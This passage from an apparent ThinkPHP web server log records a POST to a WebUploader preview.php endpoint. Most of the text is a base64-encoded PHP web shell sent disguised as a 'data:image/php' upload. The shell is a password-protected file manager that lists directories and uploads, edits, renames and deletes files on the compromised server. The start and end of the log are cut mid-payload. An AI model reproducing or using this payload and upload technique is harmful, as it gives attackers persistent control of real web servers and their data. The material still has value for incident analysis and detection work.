ZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:01+08:00 ] 119.42.146.234 POST 59.110.137.245/statics/webuploader/0.1.5/server/preview.php [运行时间:0.002860s] [吞吐率:349.64req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'statics', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgI